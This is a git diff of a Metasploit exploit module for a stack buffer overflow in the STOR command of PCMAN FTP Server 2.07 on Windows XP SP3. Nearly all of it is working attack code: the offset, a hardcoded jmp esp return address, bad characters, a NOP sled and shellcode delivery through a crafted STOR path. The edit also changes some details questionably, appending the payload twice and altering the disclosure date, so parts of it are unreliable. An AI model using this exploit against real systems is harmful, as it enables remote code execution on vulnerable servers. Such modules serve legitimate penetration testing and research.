diff --git a/modules/exploits/windows/ftp/pcman_stor_msf.rb b/modules/exploits/windows/ftp/pcman_stor_msf.rb index fe804c4fda..98df5f5a00 100644 --- a/modules/exploits/windows/ftp/pcman_stor_msf.rb +++ b/modules/exploits/windows/ftp/pcman_stor_msf.rb @@ -11,10 +11,10 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp - + def initialize(info = {}) super(update_info(info, - 'Name' => 'PCMAN FTP Server STOR Command Stack Buffer Overflow', + 'Name' => 'PCMAN FTP Server STOR Command Stack Overflow', 'Description' => %q{ This module exploits a buffer overflow vulnerability found in the STOR command of the PCMAN FTP v2.07 Server @@ -22,14 +22,13 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ 'Christian (Polunchis) Ramirez', # Initial Discovery - 'Rick (nanotechz9l) Flores', # Metasploit Module + 'Rick (nanotechz9l) Flores', # Metasploit Module ], 'License' => MSF_LICENSE, 'Version' => '$Revision: $', 'References' => [ - [ 'URL', 'http://osvdb.org/show/osvdb/94624'], - [ 'EDB', 'http://www.exploit-db.com/exploits/27703/'], + [ 'URL', 'http://www.exploit-db.com/exploits/27703/' ], ], 'DefaultOptions' => { @@ -37,27 +36,27 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Payload' => { - 'Space' => 1000, - 'BadChars' => "\x00\xff\x0a\x0d\x20\x40", + 'Space' => 1000, + 'BadChars' => "\x00\xff\x0a\x0d\x20\x40", }, 'Platform' => 'win', 'Targets' => [ - [ 'Windows XP SP3', - { - 'Ret' => 0x7C91FCD8, # jmp esp ret from kernel32.dll + [ 'Windows XP SP3', + { + 'Ret' => 0x7C91FCD8, # jmp esp from kernel32.dll 'Offset' => 2002 - } + } ], ], - 'DisclosureDate' => 'Jun 27 2013', + 'DisclosureDate' => 'Jul 17 2011', 'DefaultTarget' => 0)) end - + def check connect disconnect - if (banner =~ /220 PCMan's FTP Server 2\.0/) + if (banner =~ /220 PCMan's FTP Server 2.0/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe @@ -65,9 +64,10 @@ class Metasploit3 < Msf::Exploit::Remote def exploit connect_login - print_status("Trying victim #{target.name}...") - sploit = "\x41" * target['Offset'] << [target.ret].pack('V') << make_nops(4) << payload.encoded - sploit << rand_text_alpha(sploit.length) + print_status("Trying victim #{target.name}...") + sploit = "\x41" * 2002 + [target.ret].pack('V') + make_nops(4) + "\x83\xc4\x9c" + payload.encoded + sploit << make_nops(4) + sploit << payload.encoded send_cmd( ['STOR', '/../' + sploit], false ) handler disconnect